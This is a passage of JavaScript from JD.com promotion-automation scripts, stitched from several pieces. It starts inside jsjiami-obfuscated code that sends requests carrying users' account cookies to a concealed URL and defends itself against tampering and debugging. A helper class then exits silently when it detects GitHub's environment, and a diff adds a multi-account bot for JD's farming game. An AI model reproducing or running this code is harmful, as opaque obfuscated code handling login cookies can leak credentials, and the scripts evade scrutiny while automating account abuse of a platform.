_0xdf6e97={'url':_0x2f7b('0x20c','\x43\x35\x59\x5a'),'body':JSON[_0x2f7b('0x20d','\x4d\x63\x40\x66')]({'appId':_0x2a5adc[_0x2f7b('0x20e','\x33\x42\x5e\x5a')],'functionId':_0x2a5adc[_0x2f7b('0x20f','\x61\x53\x44\x77')],'body':_0x371f8e,'appid':_0x2a5adc[_0x2f7b('0x210','\x5d\x71\x33\x6e')],'client':_0x2a5adc[_0x2f7b('0x211','\x37\x62\x2a\x37')],'clientVersion':_0x2a5adc[_0x2f7b('0x212','\x33\x35\x2a\x40')],'ua':$['\x55\x41'],'pin':_0x2a5adc[_0x2f7b('0x213','\x6f\x47\x51\x31')](encodeURIComponent,$[_0x2f7b('0x214','\x5a\x58\x66\x51')])}),'headers':{'Content-Type':_0x2a5adc[_0x2f7b('0x215','\x42\x77\x47\x6e')]}};return new Promise(_0x18f90b=>{$[_0x2f7b('0x216','\x42\x77\x47\x6e')](_0xdf6e97,(_0xfd84da,_0x7ccb66,_0x4ea5c5)=>{var _0x4ca53f={'RGYdM':function _0x1cbaed(_0x435e9c,_0x324ef7){return _0x435e9c!==_0x324ef7;},'jXMqi':_0x2f7b('0x217','\x43\x5b\x68\x47'),'LSpfC':_0x2f7b('0x218','\x52\x4f\x26\x78'),'EkotS':function _0x321185(_0x2c4552,_0x203bd4){return _0x2c4552!==_0x203bd4;},'HVlhU':_0x2f7b('0x219','\x52\x4f\x26\x78'),'PMXpU':function _0x54dec1(_0x390bc7,_0x187f8e){return _0x390bc7(_0x187f8e);}};if(_0x4ca53f[_0x2f7b('0x21a','\x72\x68\x38\x42')](_0x4ca53f[_0x2f7b('0x21b','\x4b\x54\x36\x30')],_0x4ca53f[_0x2f7b('0x21c','\x45\x66\x35\x39')])){$[_0x2f7b('0x21d','\x5e\x7a\x5d\x35')](_0x308f44,_0x16984e);}else{try{if(_0xfd84da){cosnole[_0x2f7b('0x21e','\x47\x45\x57\x39')](JSON[_0x2f7b('0x21f','\x52\x4f\x26\x78')](_0xfd84da));}else{if(_0x4ea5c5){_0x4ea5c5=JSON[_0x2f7b('0x220','\x7a\x79\x32\x64')](_0x4ea5c5);_0x4ea5c5=_0x4ea5c5[_0x2f7b('0x221','\x42\x54\x5d\x64')];}else{$[_0x2f7b('0x222','\x23\x4a\x29\x70')](_0x4ca53f[_0x2f7b('0x223','\x49\x70\x4f\x51')]);}}}catch(_0x1a0d4b){if(_0x4ca53f[_0x2f7b('0x224','\x5e\x6e\x46\x6e')](_0x4ca53f[_0x2f7b('0x225','\x7a\x79\x32\x64')],_0x4ca53f[_0x2f7b('0x226','\x61\x53\x44\x77')])){cosnole[_0x2f7b('0x227','\x57\x24\x53\x48')](JSON[_0x2f7b('0x228','\x5e\x6e\x46\x6e')](_0xfd84da));}else{console[_0x2f7b('0x21e','\x47\x45\x57\x39')](_0x1a0d4b,_0x7ccb66);}}finally{_0x4ca53f[_0x2f7b('0x229','\x77\x37\x30\x78')](_0x18f90b,_0x4ea5c5);}}});});}function _0x5f2ad5(){var _0x14c35c={'BIpZD':function _0x3497ef(_0x466dfd,_0x438054){return _0x466dfd+_0x438054;},'jkeGZ':function _0x29fe52(_0x1a7312,_0x20813f){return _0x1a7312+_0x20813f;},'tTcGq':_0x2f7b('0x22a','\x26\x78\x67\x49'),'clNdp':function _0x4d82f7(_0x38a0a1,_0x3189aa){return _0x38a0a1(_0x3189aa);},'YVCnh':_0x2f7b('0x22b','\x40\x6d\x40\x33')};$['\x55\x41']=_0x14c35c[_0x2f7b('0x22c','\x43\x5b\x68\x47')](_0x14c35c[_0x2f7b('0x22d','\x72\x68\x38\x42')](_0x14c35c[_0x2f7b('0x22e','\x72\x68\x38\x42')],_0x14c35c[_0x2f7b('0x22f','\x52\x4f\x26\x78')](_0x25724c,0x28)),_0x14c35c[_0x2f7b('0x230','\x47\x56\x77\x34')]);}function _0x25724c(_0x3d7cf1){var _0x558c45={'BNQfA':function _0x11e46c(_0x18cc8d,_0x309dee){return _0x18cc8d||_0x309dee;},'aFzfH':_0x2f7b('0x231','\x35\x62\x4a\x72'),'gPARa':function _0x3cf48b(_0x191fe7,_0x1581b0){return _0x191fe7<_0x1581b0;},'fFdDN':function _0x1c3734(_0x32e69d,_0xec4fbb){return _0x32e69d*_0xec4fbb;}};_0x3d7cf1=_0x558c45[_0x2f7b('0x232','\x4d\x63\x40\x66')](_0x3d7cf1,0x20);let _0x5dd6c9=_0x558c45[_0x2f7b('0x233','\x61\x4d\x5b\x33')],_0x3004e3=_0x5dd6c9[_0x2f7b('0x234','\x77\x37\x30\x78')],_0x4e300c='';for(i=0x0;_0x558c45[_0x2f7b('0x235','\x26\x78\x67\x49')](i,_0x3d7cf1);i++)_0x4e300c+=_0x5dd6c9[_0x2f7b('0x236','\x39\x63\x4f\x53')](Math[_0x2f7b('0x237','\x43\x35\x59\x5a')](_0x558c45[_0x2f7b('0x238','\x54\x56\x51\x76')](Math[_0x2f7b('0x239','\x35\x62\x4a\x72')](),_0x3004e3)));return _0x4e300c;}function _0x1fb883(_0x25be30){var _0x260b85={'CiKHm':function _0x22eacf(_0x119014,_0x52bd76){return _0x119014==_0x52bd76;},'DAhNI':_0x2f7b('0x23a','\x5e\x6f\x4c\x46'),'nchuQ':_0x2f7b('0x23b','\x23\x4a\x29\x70')};try{if(_0x260b85[_0x2f7b('0x23c','\x47\x56\x77\x34')](typeof JSON[_0x2f7b('0x172','\x6f\x47\x51\x31')](_0x25be30),_0x260b85[_0x2f7b('0x23d','\x6f\x47\x51\x31')])){return!![];}}catch(_0x1d8032){console[_0x2f7b('0x23e','\x31\x32\x29\x72')](_0x1d8032);console[_0x2f7b('0x23f','\x4a\x69\x37\x29')](_0x260b85[_0x2f7b('0x240','\x42\x54\x5d\x64')]);return![];}}function _0x4c3cea(_0x564cc1){var _0x551eac=function(){var _0x1ca34f=!![];return function(_0x2efeca,_0xd34509){var _0x5b88d0=_0x1ca34f?function(){if(_0xd34509){var _0x121c63=_0xd34509['apply'](_0x2efeca,arguments);_0xd34509=null;return _0x121c63;}}:function(){};_0x1ca34f=![];return _0x5b88d0;};}();var _0x34f388=_0x551eac(this,function(){var _0x46da3b=function(){return'\x64\x65\x76';},_0x37d2f6=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x154025=function(){var _0x36f452=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x36f452['\x74\x65\x73\x74'](_0x46da3b['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x53a4fa=function(){var _0x5c247e=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x5c247e['\x74\x65\x73\x74'](_0x37d2f6['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x5467c5=function(_0x22fd39){var _0xfda7e6=~-0x1>>0x1+0xff%0x0;if(_0x22fd39['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0xfda7e6)){_0x458d9c(_0x22fd39);}};var _0x458d9c=function(_0x3beb71){var _0x3dfe86=~-0x4>>0x1+0xff%0x0;if(_0x3beb71['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x3dfe86){_0x5467c5(_0x3beb71);}};if(!_0x154025()){if(!_0x53a4fa()){_0x5467c5('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x5467c5('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x5467c5('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x34f388();var _0x18564d={'FuYEd':function _0x41b14a(_0x214b88,_0x101fd6){return _0x214b88==_0x101fd6;},'gUWzW':_0x2f7b('0x241','\x45\x66\x35\x39'),'KzEpB':function _0x4d4e48(_0x1cea21,_0x407850){return _0x1cea21!==_0x407850;},'kiDKy':_0x2f7b('0x242','\x48\x75\x4d\x66'),'UlusL':_0x2f7b('0x243','\x5e\x6f\x4c\x46')};if(_0x18564d[_0x2f7b('0x244','\x61\x53\x44\x77')](typeof _0x564cc1,_0x18564d[_0x2f7b('0x245','\x72\x68\x38\x42')])){try{return JSON[_0x2f7b('0x246','\x40\x6d\x40\x33')](_0x564cc1);}catch(_0x4c5bc8){if(_0x18564d[_0x2f7b('0x247','\x6f\x47\x51\x31')](_0x18564d[_0x2f7b('0x248','\x5d\x71\x33\x6e')],_0x18564d[_0x2f7b('0x249','\x4c\x4c\x36\x6f')])){return JSON[_0x2f7b('0xbb','\x23\x4a\x29\x70')](_0x564cc1);}else{console[_0x2f7b('0x8c','\x59\x71\x52\x23')](_0x4c5bc8);$[_0x2f7b('0x24a','\x33\x42\x5e\x5a')]($[_0x2f7b('0x24b','\x4a\x69\x37\x29')],'',_0x18564d[_0x2f7b('0x24c','\x4b\x54\x36\x30')]);return[];}}}}function _0x23e623(_0x226bd7,_0x448909){var _0x619c4c={'gGsJG':function _0x4e73e6(_0x594543,_0xaf15e4){return _0x594543+_0xaf15e4;},'FiWwa':function _0x47b6bd(_0x3b0d8f,_0x1f3f1d){return _0x3b0d8f+_0x1f3f1d;},'FZzcq':function _0x3b0e6e(_0x130c61,_0x30abae){return _0x130c61+_0x30abae;},'BwHYN':_0x2f7b('0x24d','\x75\x32\x43\x6d'),'FtCbj':_0x2f7b('0x24e','\x33\x42\x5e\x5a'),'xAJdU':function _0x39efb2(_0x5657e2,_0x13464c){return _0x5657e2(_0x13464c);},'XhLTj':_0x2f7b('0x24f','\x75\x32\x43\x6d'),'htPra':_0x2f7b('0x250','\x43\x35\x59\x5a'),'wbShq':_0x2f7b('0x251','\x5e\x7a\x5d\x35')};return{'url':_0x619c4c[_0x2f7b('0x252','\x7a\x79\x32\x64')](_0x619c4c[_0x2f7b('0x253','\x40\x6d\x40\x33')](_0x619c4c[_0x2f7b('0x254','\x59\x71\x52\x23')](_0x619c4c[_0x2f7b('0x255','\x42\x54\x5d\x64')](_0x619c4c[_0x2f7b('0x256','\x5e\x6e\x46\x6e')](_0x4c01b5,_0x619c4c[_0x2f7b('0x257','\x7a\x79\x32\x64')]),_0x226bd7),_0x619c4c[_0x2f7b('0x258','\x5e\x6e\x46\x6e')]),_0x619c4c[_0x2f7b('0x259','\x42\x77\x47\x6e')](escape,JSON[_0x2f7b('0x25a','\x5e\x7a\x5d\x35')](_0x448909))),_0x619c4c[_0x2f7b('0x25b','\x6f\x47\x51\x31')]),'headers':{'Cookie':_0x4d73fa,'Origin':_0x619c4c[_0x2f7b('0x25c','\x67\x59\x6b\x61')],'User-Agent':_0x619c4c[_0x2f7b('0x25d','\x4d\x63\x40\x66')]}};};;(function(_0x332af0,_0x288e85,_0x6733e4){var _0x49f42f={'LXedv':function _0x1685f0(_0x3faed0,_0x321cd1){return _0x3faed0===_0x321cd1;},'gIbXP':_0x2f7b('0x25e','\x43\x35\x59\x5a'),'WNPDT':_0x2f7b('0x25f','\x43\x5b\x68\x47'),'AZGVf':function _0x8e5ee2(_0x1e05c2,_0x2bc4f5){return _0x1e05c2!==_0x2bc4f5;},'xNsYl':_0x2f7b('0x260','\x72\x68\x38\x42'),'HVVHK':_0x2f7b('0x261','\x23\x4a\x29\x70'),'RQIMB':function _0x246b2a(_0x24f3c5,_0x4737dc){return _0x24f3c5!==_0x4737dc;},'fJDgl':_0x2f7b('0x262','\x5a\x6c\x31\x49'),'UKBmu':_0x2f7b('0x263','\x5d\x71\x33\x6e'),'xKSLt':function _0x344471(_0x608e32,_0x47498e){return _0x608e32+_0x47498e;},'obMAv':_0x2f7b('0x264','\x35\x62\x4a\x72'),'rxZMA':function _0x923d6a(_0x225dff,_0x529e98){return _0x225dff(_0x529e98);},'tPKcu':function _0x12dcd0(_0xc1c797,_0x3b7e3c){return _0xc1c797==_0x3b7e3c;},'VPhFP':function _0x388d1d(_0x1ba81,_0x5f1c4e){return _0x1ba81==_0x5f1c4e;},'WhABv':_0x2f7b('0x265','\x43\x5b\x68\x47'),'ulwyH':_0x2f7b('0x266','\x47\x43\x67\x75'),'ecKUh':_0x2f7b('0x267','\x40\x6d\x40\x33')};_0x6733e4='\x61\x6c';try{if(_0x49f42f[_0x2f7b('0x268','\x33\x42\x5e\x5a')](_0x49f42f[_0x2f7b('0x269','\x33\x42\x5e\x5a')],_0x49f42f[_0x2f7b('0x26a','\x4d\x63\x40\x66')])){_0x6733e4+=_0x49f42f[_0x2f7b('0x26b','\x37\x62\x2a\x37')];_0x288e85=encode_version;if(!(_0x49f42f[_0x2f7b('0x26c','\x51\x67\x35\x6a')](typeof _0x288e85,_0x49f42f[_0x2f7b('0x26d','\x61\x4d\x5b\x33')])&&_0x49f42f[_0x2f7b('0x26e','\x23\x4a\x29\x70')](_0x288e85,_0x49f42f[_0x2f7b('0x26f','\x4b\x54\x36\x30')]))){if(_0x49f42f[_0x2f7b('0x270','\x5b\x73\x63\x34')](_0x49f42f[_0x2f7b('0x271','\x4b\x54\x36\x30')],_0x49f42f[_0x2f7b('0x272','\x42\x54\x5d\x64')])){_0x332af0[_0x6733e4](_0x49f42f[_0x2f7b('0x273','\x43\x5b\x68\x47')]('\u5220\u9664',_0x49f42f[_0x2f7b('0x274','\x5e\x6f\x4c\x46')]));}else{if(_0x49f42f[_0x2f7b('0x275','\x47\x43\x67\x75')](_0x1fb883,_0x2075fc)){_0x2075fc=JSON[_0x2f7b('0x276','\x74\x26\x56\x25')](_0x2075fc);if(_0x49f42f[_0x2f7b('0x277','\x5e\x6e\x46\x6e')](_0x2075fc[_0x2f7b('0x278','\x30\x6b\x6d\x6d')],!![])){$[_0x2f7b('0x279','\x5e\x6e\x46\x6e')]=_0x2075fc[_0x2f7b('0x27a','\x4d\x63\x40\x66')][_0x2f7b('0x27b','\x7a\x79\x32\x64')];}else if(_0x49f42f[_0x2f7b('0x27c','\x43\x35\x59\x5a')](_0x2075fc[_0x2f7b('0x27d','\x61\x4d\x5b\x33')],![])){console[_0x2f7b('0x27e','\x4d\x63\x40\x66')](_0x49f42f[_0x2f7b('0x27f','\x5d\x71\x33\x6e')]);}}}}}else{console[_0x2f7b('0x280','\x72\x68\x38\x42')](_0x49f42f[_0x2f7b('0x281','\x7a\x79\x32\x64')]);}}catch(_0x2f83f3){_0x332af0[_0x6733e4](_0x49f42f[_0x2f7b('0x282','\x26\x78\x67\x49')]);}}());;encode_version = 'jsjiami.com.v5'; -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } - diff --git a/jd_fruit_Mod.js b/jd_fruit_Mod.js new file mode 100644 index 000000000..45dc07ff3 --- /dev/null +++ b/jd_fruit_Mod.js @@ -0,0 +1,1606 @@ +/* +东东水果:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js +更新时间:2021-8-20 +活动入口:京东APP我的-更多工具-东东农场 +东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 + +==========================Quantumultx========================= +[task_local] +#jd免费水果 +5 6-18/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "5 6-18/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js,tag=东东农场 + +=========================Surge============================ +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js + +=========================小火箭=========================== +东东农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true + +jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js +*/ +const $ = new Env('东东农场互助版'); +let cookiesArr = [], cookie = '', isBox = false, notify,allMessage = ''; +//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) + +let newShareCodes=[]; +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100);//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} +const fs = require('fs'); +let boolneedUpdate=false; +let strShare = './Fruit_ShareCache.json'; +let Fileexists = fs.existsSync(strShare); +let TempShareCache = []; +if (Fileexists) { + console.log("检测到东东农场缓存文件Fruit_ShareCache.json,载入..."); + TempShareCache = fs.readFileSync(strShare, 'utf-8'); + if (TempShareCache) { + TempShareCache = TempShareCache.toString(); + TempShareCache = JSON.parse(TempShareCache); + } +} + +let WP_APP_TOKEN_ONE = ""; +/* if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } +} + +if (WP_APP_TOKEN_ONE) { + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); + if (NowHour <9 || NowHour > 21) { + WP_APP_TOKEN_ONE = ""; + console.log(`农场只在9点后和22点前启用一对一推送,故此次暂时取消一对一推送...`); + } +} else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); */ +let lnrun=0; +let llgetshare=false; +let NoNeedCodes = []; +!(async () => { + + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (llhelp) { + console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + llgetshare=false; + await GetCollect(); + if(llgetshare){ + await $.wait(5000); + lnrun++; + } + if(lnrun==10){ + console.log(`访问接口次数达到10次,休息一分钟.....`); + await $.wait(60*1000); + lnrun=0; + } + } + } + if (boolneedUpdate) { + var str = JSON.stringify(TempShareCache, null, 2); + fs.writeFile(strShare, str, function (err) { + if (err) { + console.log(err); + console.log("缓存文件Fruit_ShareCache.json更新失败!"); + } else { + console.log("缓存文件Fruit_ShareCache.json更新成功!"); + } + }) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = 